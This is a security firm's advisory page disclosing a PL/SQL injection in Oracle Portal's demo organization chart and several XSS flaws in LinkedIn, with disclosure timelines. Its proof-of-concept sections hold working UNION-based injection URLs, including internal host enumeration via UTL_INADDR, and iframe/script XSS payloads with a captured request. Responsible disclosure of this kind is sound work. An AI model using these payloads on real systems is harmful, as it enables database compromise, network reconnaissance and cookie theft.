Advisories 2012

2012-001: PL/SQL Injection in Oracle Portal Demo Organization Chart

2012-003: LinkedIn social network is affected by Multiple Reflected Cross-Site Scripting vulnerabilities.

2012-001: PL/SQL Injection in Oracle Portal Demo Organization Chart

Original release date: November 8th, 2012
Last revised: March 20th, 2013
Discovered by: Manuel Garcia Cardenas
Severity: 7,1/10 (CVSS Base Score)
CVE-ID: CVE-2013-3831

BACKGROUND

Web Organization Chart (Ora Version) is used to connect to the Oracle database. Ora version of "Web Organization Chart" selects information from the Oracle.
(HR) tables and converts it into a format that is readable for the Orgchart software.

DESCRIPTION

This bug was found using the demo portal PORTAL_DEMO.ORG_CHART.SHOW. To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol to interact with the application. It is possible to inject SQL code in the variable "p_arg_values".

PROOF OF CONCEPT

             *** SQL Injection ***

              Version:
              /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

               p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

             +select+banner,null,null,null,null+from+v$version--

             User:
             /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

             p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

             +select+user,null,null,null,null+from+dual--

              Actual Database:
              /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

              p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

             +select+global_name,null,null,null,null+from+global_name--

             Lists of Databases:
             /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

             p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

             +select+owner,null,null,null,null+from+all_tables--

              *** PL/SQL Injection ***

             For example, using the function UTL_INADDR.get_host_address we can found the internal address:

             /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

             p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

             +select+UTL_INADDR.get_host_address,null,null,null,null+from+dual--

             Using a bruteforce attack on the range obtained and the function
             UTL_INADDR.get_host_name(), we can acquire a list of internal hosts:

             /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

             p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value

             %27union+select+UTL_INADDR.get_host_name('INTERNALs-IP'),null,null,null,null+from+dual--
        

BUSINESS IMPACT

Public defacement, confidential data leakage, and database server compromise can result from hese attacks. Client systems can also be targeted, and complete compromise of these client systems is also possible.

SYSTEMS AFFECTED

Demo Page of Oracle Portal Demo Organization Chart.

SOLUTION

All data received by the application and can be modified by the user, before making any kind of transaction with them must be validated.

REFERENCES

http://www.oracle.com
http://www.isecauditors.com

CREDITS

This vulnerability has been discovered by Manuel Garcia Cardenas (mgarcia (at) isecauditors (dot) com).

REVISION HISTORY

December 02, 2012: Initial release to Oracle.
February 20, 2013: Last revision

DISCLOSURE TIMELINE

October 25, 2012: The vulnerability is discovered.
December 2, 2012: Initial release to Oracle.
February 20, 2013: Vulnerability already corrected but will not be included in CPUs. Credits in CPUApr2013.
October 11, 2013: The following issue reported is fixed in the upcoming Critical Patch Update

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

ABOUT

Internet Security Auditors is a Spain based leader in web application testing, network security, penetration testing, security compliance implementation and assessing. Our clients include some of the largest companies in areas such as finance, telecommunications, insurance, ITC, etc. We are vendor independent provider with a deep expertise since 2001. Our efforts in R&D include vulnerability research, open security project collaboration and whitepapers, presentations and security events participation and promotion. For further information regarding our security services, contact us.

Volver al inicio

2012-003: LinkedIn social network is affected by Multiple Reflected Cross-Site Scripting vulnerabilities.

Original release date: 16th December 2012
Last revised: 26th September 2013
Discovered by: Eduardo Garcia Melia
Severity: 6.8/10 (CVSS Base Scored)

BACKGROUND

LinkedIn is a social networking service and website(http://www.linkedin.com/) operates the world's largest professional network on the Internet with more than 187 million members in over 200 countries and territories.
More Information: http://press.linkedin.com/about

DESCRIPTION

LinkedIn social network is affected by Multiple reflected Cross-Site Scripting vulnerabilities. An attacker an inject HTML or script code in the context of victim's browser, so can perform XSS attacks, and steal cookies of a targeted user. The affected resource is http://www.linkedin.com/home?trk=guest_home.

PROOF OF CONCEPT

============================= 

First XSS  -> Corrected 

============================= 

You can go to LinkedIn Home -> Shared an Update -> Attach Link. After attack link, you should edit this link, and put in the Title and Description field, the XSS injection, for example:



    + <h1>XSS TEST</h1>

    + <iframe src="javascript:alert(document.cookie);"></iframe>


Finally, you should pulse "Preview" button, and then show you the injection.


The vulnerability is in this code:


=============================
Second XSS 
=============================
You can go to LinkedIn Groups -> Groups you may like,  and find some
open group, for example "Test Analyst / Test Lead / Test Manager
Networking". After, you

can start Discussion, and put on the fields "Test" and "test" value and
pulse "share" button. When the discussion is shared, show you "Your post
has been

submitted for review. You can view it here.", if you go to "here" link,
you can edit your post and put, for example, this code:

    + <IFRAME SRC=# onmouseover="alert('XSS')">

Example REQUEST:
    POST /groupItem HTTP/1.1
    Host: www.linkedin.com
    Origin: http://www.linkedin.com
    X-Requested-With: XMLHttpRequest
    Referer: http://www.linkedin.com/groups?displayMySubmitted=&gid=4041084&goback=%2Egmp_4041084
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
    Cookie: XXX
  
editPendingItem=&csrfToken=ajax:8141336854842107468&item=PMOD_43011393&gid=4041084&ajax=true&goback=.gmp_4041084&content=<IFRAME
SRC=#

onmouseover="alert('XSS')">&detail=test&

RESPONSE:
    HTTP/1.1 200 OK
    Server: Apache-Coyote/1.1
    Vary: Accept-Encoding
    Date: Mon, 04 Mar 2013 14:51:03 GMT
    X-FS-TXN-ID: 2adf39a79210
    X-FS-UUID: c84a30f8753fe812d0841ff4322b0000
    X-LI-UUID: yEow+HU/6BLQhB/0MisAAA==
    Age: 0
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 0
    Set-Cookie: XXX

    {"abbreviatedContent":"<IFRAME SRC=# onmouseover=\"alert('XSS')\">
...","editTimeLeftAsStr":"13 minutes

left","statusCode":"0","updated":"true","editTimeLeftInSec":"791","item":"PMOD_43011393","origDetail":"test","isDetailAbbreviated":"false","origContent":"<IF

RAME SRC=#
onmouseover=\"alert('XSS')\">","isContentAbbreviated":"true","fullContent":"<IFRAME
SRC=# onmouseover=\"alert

('XSS')\">","abbreviatedDetail":"test"}

and then show you the injection.
=============================
Third XSS 
=============================
You can go to LinkedIn Groups -> Create a Group,  and create new group.
After, you can start Discussion, and put on the fields, for example,
this code:

    + <IFRAME SRC=# onmouseover="alert('XSS')">

Pulse "share" button and then show you the injection.
===============
Fourth XSS
===============   
You can go to LinkedIn Groups -> Create a Group,  and create new group.
After, you can create a Poll, and put on the fields, for example, this code:

    + <IFRAME SRC=# onmouseover="alert('XSS')">

Pulse "share" button and then show you the injection.

BUSINESS IMPACT

This flaw can be used by a malicious user to send phishing to the linked in customers, abusing of the users trust on LinkedIn portal, tricking the user. This user can be forward to a LinkedIn clone site to stolen credentials, to some malicious site hosting malware and more.

SYSTEMS AFFECTED

The vulnerability affects the LinkedIn network:
http://www.linkedin.com
https://touch.www.linkedin.com

SOLUTION

Partially pending.

REFERENCES

http://www.linkedin.com
http://www.isecauditors.com
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)

CREDITS

These vulnerabilities have been discovered by Eduardo Garcia Melia (egarcia (at) isecauditors (dot) com).

REVISION HISTORY

December 17, 2012: Initial release.
January 20, 2013: Second revision.
March 10, 2013: Third revision.
September 26, 2013: Final release.

DISCLOSURE TIMELINE

December 17, 2012: Vulnerability acquired by Eduardo Garcia Melia Internet Security Auditors (www.isecauditors.com).
January 20, 2013: Second revision. Sent to LinkedIn Security Team.
February 7, 2013: Response from Sec Team. Ask for resend.
February 19, 2013: Send updated.
February 26, 2013: Answer about it seems to be corrected. Possitively checked.
March 10, 2013: Send updated with more XSS vulnerable resources.
July 11, 2013: All XSS issues have been resolved.
September 26, 2013: Sent to lists.

LEGAL NOTICES

The information contained within this advisory is supplied &quot;as-is&quot; with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

ABOUT

Internet Security Auditors is a Spain based leader in web application testing, network security, penetration testing, security compliance implementation and assessing. Our clients include some of the largest companies in areas such as finance, telecommunications, insurance, ITC, etc. We are vendor independent provider with a deep expertise since 2001. Our efforts in R&D include vulnerability research, open security project collaboration and whitepapers, presentations and security events participation and promotion. For further information regarding our security services, contact us.
 

Volver al inicio